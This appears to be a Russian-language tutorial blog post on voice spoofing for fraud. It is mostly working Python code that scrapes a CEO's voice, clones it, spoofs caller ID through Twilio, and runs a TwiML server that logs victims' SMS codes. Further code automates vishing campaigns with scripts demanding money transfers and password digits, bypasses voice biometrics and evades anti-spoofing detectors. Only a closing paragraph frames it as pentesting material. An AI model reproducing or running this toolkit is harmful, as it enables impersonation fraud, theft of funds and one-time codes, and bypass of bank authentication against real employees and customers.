
54
Представь: секретарша компании получает звонок от “директора”. Голос один в один, интонации знакомые, даже манера речи та же. Она переводит $50k на “срочный контракт”. Только вот директор в это время был на рыбалке без телефона. Добро пожаловать в эру voice spoofing — когда технология клонирования голоса встречается с социальной инженерией.
Что такое голосовой спуфинг
Voice spoofing — это не просто изменение номера звонящего (caller ID spoofing). Это полная имитация голоса конкретного человека с помощью AI. Современные модели могут склонировать голос с точностью 95%+ всего по 3-5 секундам записи.
Зачем это нужно в атаках:
• Обход голосовой биометрии в банках
• Vishing (voice phishing) с максимальной убедительностью
• Выдавание себя за CEO/CFO для BEC атак
• Обход двухфакторки через звонок в поддержку
• Получение конфиденциальной информации от сотрудников
Технологии клонирования голоса
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 |
import yt_dlp from pydub import AudioSegment import os class VoiceSampleCollector: def __init__(self): self.output_dir = "voice_samples" os.makedirs(self.output_dir, exist_ok=True) def download_from_youtube(self, url, target_name): """Скачиваем видео с YouTube (интервью, выступления)""" ydl_opts = { 'format': 'bestaudio/best', 'postprocessors': [{ 'key': 'FFmpegExtractAudio', 'preferredcodec': 'wav', 'preferredquality': '192', }], 'outtmpl': f'{self.output_dir}/{target_name}_%(id)s.%(ext)s', } with yt_dlp.YoutubeDL(ydl_opts) as ydl: ydl.download([url]) print(f"[+] Образец голоса {target_name} скачан") def extract_from_meetings(self, zoom_recording_path): """Извлекаем голос из записей Zoom/Teams встреч""" audio = AudioSegment.from_file(zoom_recording_path) # Разбиваем на сегменты по 10 секунд segments = [] for i in range(0, len(audio), 10000): segment = audio[i:i+10000] segments.append(segment) return segments def scrape_podcast_appearances(self, person_name): """Ищем подкасты, где участвовал человек""" import requests from bs4 import BeautifulSoup # Поиск по Listen Notes API api_key = "your_api_key" search_url = f"https://listen-api.listennotes.com/api/v2/search" headers = {"X-ListenAPI-Key": api_key} params = {"q": person_name, "type": "episode"} response = requests.get(search_url, headers=headers, params=params) episodes = response.json()['results'] podcast_links = [] for ep in episodes[:5]: # Топ-5 результатов podcast_links.append(ep['audio']) return podcast_links |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 |
import torch from TTS.api import TTS import numpy as np class VoiceCloner: def __init__(self): # Загружаем предобученную модель (XTTS, Coqui TTS) self.tts = TTS(model_name="tts_models/multilingual/multi-dataset/xtts_v2", gpu=True) def clone_voice(self, reference_audio, text_to_speak, output_path): """ reference_audio: путь к файлу с образцом голоса (WAV) text_to_speak: текст, который нужно озвучить """ self.tts.tts_to_file( text=text_to_speak, file_path=output_path, speaker_wav=reference_audio, language="ru" ) print(f"[+] Голос склонирован: {output_path}") return output_path def clone_with_emotions(self, reference_audio, text, emotion="neutral"): """Добавляем эмоции для большей реалистичности""" # Словарь промптов для разных эмоций emotion_prompts = { "urgent": "СРОЧНО! Нужно действовать немедленно!", "calm": "Всё в порядке, просто уточняю информацию.", "angry": "Это неприемлемо! Почему это не было сделано?!", "friendly": "Привет! Как дела? Есть минутка обсудить?" } # Добавляем эмоциональный контекст в текст enhanced_text = f"{emotion_prompts.get(emotion, '')} {text}" return self.clone_voice(reference_audio, enhanced_text, f"output_{emotion}.wav") # Пример использования cloner = VoiceCloner() # Клонируем голос CEO компании из его выступления ceo_voice = "samples/ceo_interview.wav" fake_message = "Мне срочно нужно, чтобы ты перевел 100 тысяч на этот счет для закрытия сделки." cloner.clone_voice(ceo_voice, fake_message, "fake_ceo_call.wav") |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 |
import pyaudio import numpy as np from scipy import signal import librosa class RealtimeVoiceMorpher: def __init__(self, target_voice_sample): self.target_voice = librosa.load(target_voice_sample, sr=22050)[0] self.chunk_size = 1024 self.sample_rate = 22050 # Анализируем целевой голос self.target_pitch = self.extract_pitch(self.target_voice) self.target_formants = self.extract_formants(self.target_voice) self.audio = pyaudio.PyAudio() def extract_pitch(self, audio): """Извлекаем средний pitch (высоту тона)""" pitches, magnitudes = librosa.piptrack(y=audio, sr=self.sample_rate) pitch_values = [] for t in range(pitches.shape[1]): index = magnitudes[:, t].argmax() pitch = pitches[index, t] if pitch > 0: pitch_values.append(pitch) return np.mean(pitch_values) def extract_formants(self, audio): """Извлекаем форманты (характеристики тембра)""" # Упрощенная версия fft = np.fft.fft(audio) freqs = np.fft.fftfreq(len(fft), 1/self.sample_rate) # Находим пики (форманты) peaks = signal.find_peaks(np.abs(fft), height=np.max(np.abs(fft))*0.1)[0] formants = freqs[peaks][:4] # Берем первые 4 форманты return formants def morph_voice_realtime(self): """Морфинг голоса в реальном времени""" # Открываем входной поток (микрофон) stream_in = self.audio.open( format=pyaudio.paFloat32, channels=1, rate=self.sample_rate, input=True, frames_per_buffer=self.chunk_size ) # Открываем выходной поток (виртуальный микрофон) stream_out = self.audio.open( format=pyaudio.paFloat32, channels=1, rate=self.sample_rate, output=True, frames_per_buffer=self.chunk_size ) print("[+] Голосовой морфинг активирован!") try: while True: # Читаем аудио с микрофона data = stream_in.read(self.chunk_size, exception_on_overflow=False) audio_chunk = np.frombuffer(data, dtype=np.float32) # Применяем морфинг morphed = self.apply_morphing(audio_chunk) # Выводим измененный голос stream_out.write(morphed.astype(np.float32).tobytes()) except KeyboardInterrupt: print("\n[!] Остановка морфинга") stream_in.stop_stream() stream_out.stop_stream() stream_in.close() stream_out.close() def apply_morphing(self, audio_chunk): """Применяем pitch shift и formant shift""" # Изменяем pitch под целевой голос current_pitch = self.extract_pitch(audio_chunk) if current_pitch > 0: pitch_shift = self.target_pitch / current_pitch morphed = librosa.effects.pitch_shift( audio_chunk, sr=self.sample_rate, n_steps=np.log2(pitch_shift) * 12 ) else: morphed = audio_chunk return morphed # Использование morpher = RealtimeVoiceMorpher("target_ceo_voice.wav") morpher.morph_voice_realtime() # Теперь твой голос звучит как CEO |
Caller ID Spoofing: подмена номера
Чтобы звонок выглядел легитимно, нужно подменить отображаемый номер.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 |
from twilio.rest import Client import random class CallerIDSpoofer: def __init__(self, twilio_sid, twilio_token): self.client = Client(twilio_sid, twilio_token) def spoof_call(self, spoofed_number, target_number, audio_file_url): """ spoofed_number: номер, который увидит жертва (например, номер CEO) target_number: номер жертвы audio_file_url: URL с записью поддельного голоса """ call = self.client.calls.create( from_=spoofed_number, # Подменяем caller ID to=target_number, url=audio_file_url, # TwiML с аудио status_callback='https://yourserver.com/callback', status_callback_event=['answered', 'completed'] ) print(f"[+] Звонок инициирован: {call.sid}") return call.sid def create_interactive_call(self, spoofed_number, target_number): """Интерактивный звонок с реакцией на ответы жертвы""" # TwiML сценарий для интерактива twiml_url = "https://yourserver.com/interactive_twiml" call = self.client.calls.create( from_=spoofed_number, to=target_number, url=twiml_url, method='POST' ) return call.sid # TwiML сервер для интерактивных звонков from flask import Flask, request from twilio.twiml.voice_response import VoiceResponse app = Flask(__name__) @app.route('/interactive_twiml', methods=['POST']) def handle_call(): response = VoiceResponse() # Первое сообщение от "CEO" response.play('https://yourserver.com/audio/ceo_greeting.wav') # Собираем ввод пользователя (например, код подтверждения) gather = response.gather( num_digits=6, action='/process_input', method='POST' ) gather.say("Назовите шестизначный код из SMS для подтверждения операции", language='ru-RU') return str(response) @app.route('/process_input', methods=['POST']) def process_input(): digits = request.form.get('Digits') # Логируем полученный код print(f"[!] Жертва ввела код: {digits}") save_to_database(digits) response = VoiceResponse() response.play('https://yourserver.com/audio/ceo_thankyou.wav') response.say("Спасибо, операция подтверждена", language='ru-RU') return str(response) |
Автоматизированные vishing кампании
Создаем систему для массовых автоматизированных звонков с клонированным голосом.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 |
import asyncio from concurrent.futures import ThreadPoolExecutor class VishingCampaign: def __init__(self, voice_cloner, caller_spoofer): self.cloner = voice_cloner self.spoofer = caller_spoofer self.executor = ThreadPoolExecutor(max_workers=5) async def run_campaign(self, target_list, scenario): """ target_list: список сотрудников с номерами scenario: сценарий атаки (bank, IT support, CEO, etc.) """ tasks = [] for target in target_list: task = self.execute_single_call(target, scenario) tasks.append(task) # Задержка между звонками await asyncio.sleep(random.uniform(30, 180)) results = await asyncio.gather(*tasks) return results async def execute_single_call(self, target, scenario): """Выполнение одного звонка""" # Генерируем персонализированный текст script = self.generate_script(target, scenario) # Клонируем голос audio_file = f"generated_calls/{target['id']}.wav" self.cloner.clone_voice( reference_audio="voices/ceo.wav", text_to_speak=script, output_path=audio_file ) # Загружаем на сервер audio_url = self.upload_to_server(audio_file) # Совершаем звонок call_sid = self.spoofer.spoof_call( spoofed_number="+1234567890", # Номер CEO target_number=target['phone'], audio_file_url=audio_url ) return { 'target': target['name'], 'call_sid': call_sid, 'status': 'initiated' } def generate_script(self, target, scenario): """Генерация персонализированного сценария""" templates = { 'ceo_urgent': f""" {target['name']}, это {self.ceo_name}. Срочно нужна твоя помощь с переводом средств. Мы закрываем сделку с новым партнером, а я сейчас в самолете. Переведи 50 тысяч долларов на счет, который сейчас сброшу в SMS. Это критически важно, сделка сорвется, если не успеем до конца дня. """, 'it_support': f""" Здравствуйте, {target['name']}. Служба IT поддержки. Мы обнаружили подозрительную активность в вашем аккаунте. Для проверки безопасности, назовите, пожалуйста, последние 4 цифры вашего рабочего пароля. """, 'bank_security': f""" {target['name']}, служба безопасности банка. По вашей карте зафиксирована подозрительная транзакция на 15000. Для блокировки операции подтвердите SMS-код, который сейчас придет. """ } return templates.get(scenario, templates['ceo_urgent']) # Запуск кампании campaign = VishingCampaign(cloner, spoofer) targets = [ {'id': 1, 'name': 'Иван', 'phone': '+79991234567', 'position': 'бухгалтер'}, {'id': 2, 'name': 'Мария', 'phone': '+79997654321', 'position': 'HR'}, ] asyncio.run(campaign.run_campaign(targets, scenario='ceo_urgent')) |
Обход голосовой биометрии
Современные банки используют voice biometrics для авторизации. Но и их можно обойти.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 |
class VoiceBiometricBypass: def __init__(self): self.attack_vectors = [] def replay_attack(self, recorded_phrase, bank_phone): """Простая replay атака с записанной фразой""" # Воспроизводим ранее записанную фразу от жертвы # (например, "Мой голос - мой пароль") import sounddevice as sd from scipy.io.wavfile import read sample_rate, audio_data = read(recorded_phrase) # Звоним в банк и проигрываем запись print("[+] Воспроизводим записанную фразу для биометрии...") sd.play(audio_data, sample_rate) sd.wait() def adversarial_noise_attack(self, cloned_voice_path): """Добавляем adversarial noise для обхода детекции AI""" from scipy.io import wavfile import numpy as np rate, audio = wavfile.read(cloned_voice_path) # Добавляем специально подобранный шум # который обманывает антиспуфинг системы noise = np.random.normal(0, 0.005, audio.shape) adversarial_audio = audio + noise * audio.max() output_path = "adversarial_voice.wav" wavfile.write(output_path, rate, adversarial_audio.astype(np.int16)) return output_path def deepfake_with_artifacts_removal(self, synthetic_voice): """Убираем артефакты AI-синтеза, которые детектируют системы""" import librosa import soundfile as sf y, sr = librosa.load(synthetic_voice) # Применяем фильтры для маскировки синтетической природы # 1. Добавляем легкие шумы, характерные для телефонной связи phone_noise = np.random.normal(0, 0.002, y.shape) y_with_noise = y + phone_noise # 2. Применяем band-pass фильтр (300-3400 Hz - диапазон телефонии) y_filtered = librosa.effects.preemphasis(y_with_noise) # 3. Добавляем микро-вариации в pitch (естественные колебания голоса) y_natural = librosa.effects.pitch_shift(y_filtered, sr=sr, n_steps=0.1) output = "natural_sounding_voice.wav" sf.write(output, y_natural, sr) return output |
Защита от детектирования
Антиспуфинг системы и как их обойти
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 |
class AntiDetection: def test_against_antispoofing(self, audio_file): """Тестируем наш фейк против популярных детекторов""" detectors = { 'ASVspoof': self.test_asvspoof, 'Wave2Vec': self.test_wave2vec, 'Codec_artifacts': self.test_codec_detection } results = {} for name, detector in detectors.items(): results[name] = detector(audio_file) return results def add_environmental_sounds(self, clean_audio): """Добавляем фоновые звуки для реалистичности""" import random from pydub import AudioSegment from pydub.playback import play backgrounds = [ "sounds/office_ambient.wav", "sounds/car_interior.wav", "sounds/cafe_background.wav" ] audio = AudioSegment.from_file(clean_audio) background = AudioSegment.from_file(random.choice(backgrounds)) # Микшируем основной голос с фоном (голос громче) mixed = audio.overlay(background - 20) # Фон на -20dB тише mixed.export("realistic_call.wav", format="wav") return "realistic_call.wav" def simulate_phone_quality(self, audio_file): """Имитируем качество телефонной связи""" import librosa import soundfile as sf from scipy import signal y, sr = librosa.load(audio_file) # Band-pass filter (телефонный диапазон 300-3400 Hz) sos = signal.butter(10, [300, 3400], 'bandpass', fs=sr, output='sos') y_filtered = signal.sosfilt(sos, y) # Добавляем компрессию (G.711) y_compressed = np.clip(y_filtered, -1, 1) # Легкие искажения и шумы noise = np.random.normal(0, 0.003, y_compressed.shape) y_final = y_compressed + noise output = "phone_quality_voice.wav" sf.write(output, y_final, 8000) # 8kHz - телефонное качество return output |
Практический кейс: CEO Fraud через голосовой спуфинг
Полный сценарий атаки от начала до конца.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 |
class CEOFraudAttack: def __init__(self): self.collector = VoiceSampleCollector() self.cloner = VoiceCloner() self.spoofer = CallerIDSpoofer(twilio_sid, twilio_token) self.antidetect = AntiDetection() async def execute_full_attack(self, company_name, ceo_name, target_employee): print(f"[*] Начинаем атаку на {company_name}") # Этап 1: OSINT - находим записи голоса CEO print("[1] Сбор образцов голоса CEO...") ceo_videos = self.find_ceo_speeches(ceo_name) self.collector.download_from_youtube(ceo_videos[0], ceo_name) # Этап 2: Клонирование голоса print("[2] Клонирование голоса...") reference_audio = f"voice_samples/{ceo_name}_*.wav" script = f""" {target_employee}, срочно! Я сейчас на встрече с инвесторами, телефон на беззвучном. Нам нужно закрыть сделку прямо сейчас, иначе потеряем контракт. Переведи 75 тысяч на счет, который придет в письме от "финансового директора". Это легитимная операция, просто очень срочная. Спасибо, ты меня выручаешь! """ cloned_audio = self.cloner.clone_voice(reference_audio, script, "ceo_fake.wav") # Этап 3: Постобработка для обхода детекции print("[3] Применяем антидетект...") realistic_audio = self.antidetect.add_environmental_sounds(cloned_audio) phone_quality = self.antidetect.simulate_phone_quality(realistic_audio) # Этап 4: Загружаем на сервер audio_url = self.upload_audio(phone_quality) # Этап 5: Получаем номер CEO (OSINT) ceo_phone = self.get_ceo_phone_number(company_name, ceo_name) # Этап 6: Совершаем звонок с подменой номера print(f"[4] Звоним {target_employee} от имени {ceo_name}...") call_sid = self.spoofer.spoof_call( spoofed_number=ceo_phone, target_number=target_employee['phone'], audio_file_url=audio_url ) print(f"[+] Звонок совершен! Call SID: {call_sid}") # Этап 7: Отправляем фишинговое письмо с "подтверждением" await self.send_followup_email(target_employee, ceo_name) return { 'status': 'attack_initiated', 'call_sid': call_sid, 'target': target_employee['name'] } def find_ceo_speeches(self, ceo_name): """Находим публичные выступления CEO""" # Поиск на YouTube, podcast'ах, новостях pass def get_ceo_phone_number(self, company, ceo): """OSINT для получения номера CEO""" # LinkedIn, корпоративный сайт, утечки pass |
Легальное применение
Эти техники — для авторизованного пентеста и red team операций.
Белые сценарии:
• Тестирование устойчивости сотрудников к vishing
• Проверка голосовой биометрии банка (с разрешением)
• Тренировка Blue Team на обнаружение таких атак
• Демонстрация рисков руководству компании
Нелегальное использование = уголовная статья. В России это УК РФ ст. 159 (мошенничество) + ст. 272 (неправомерный доступ).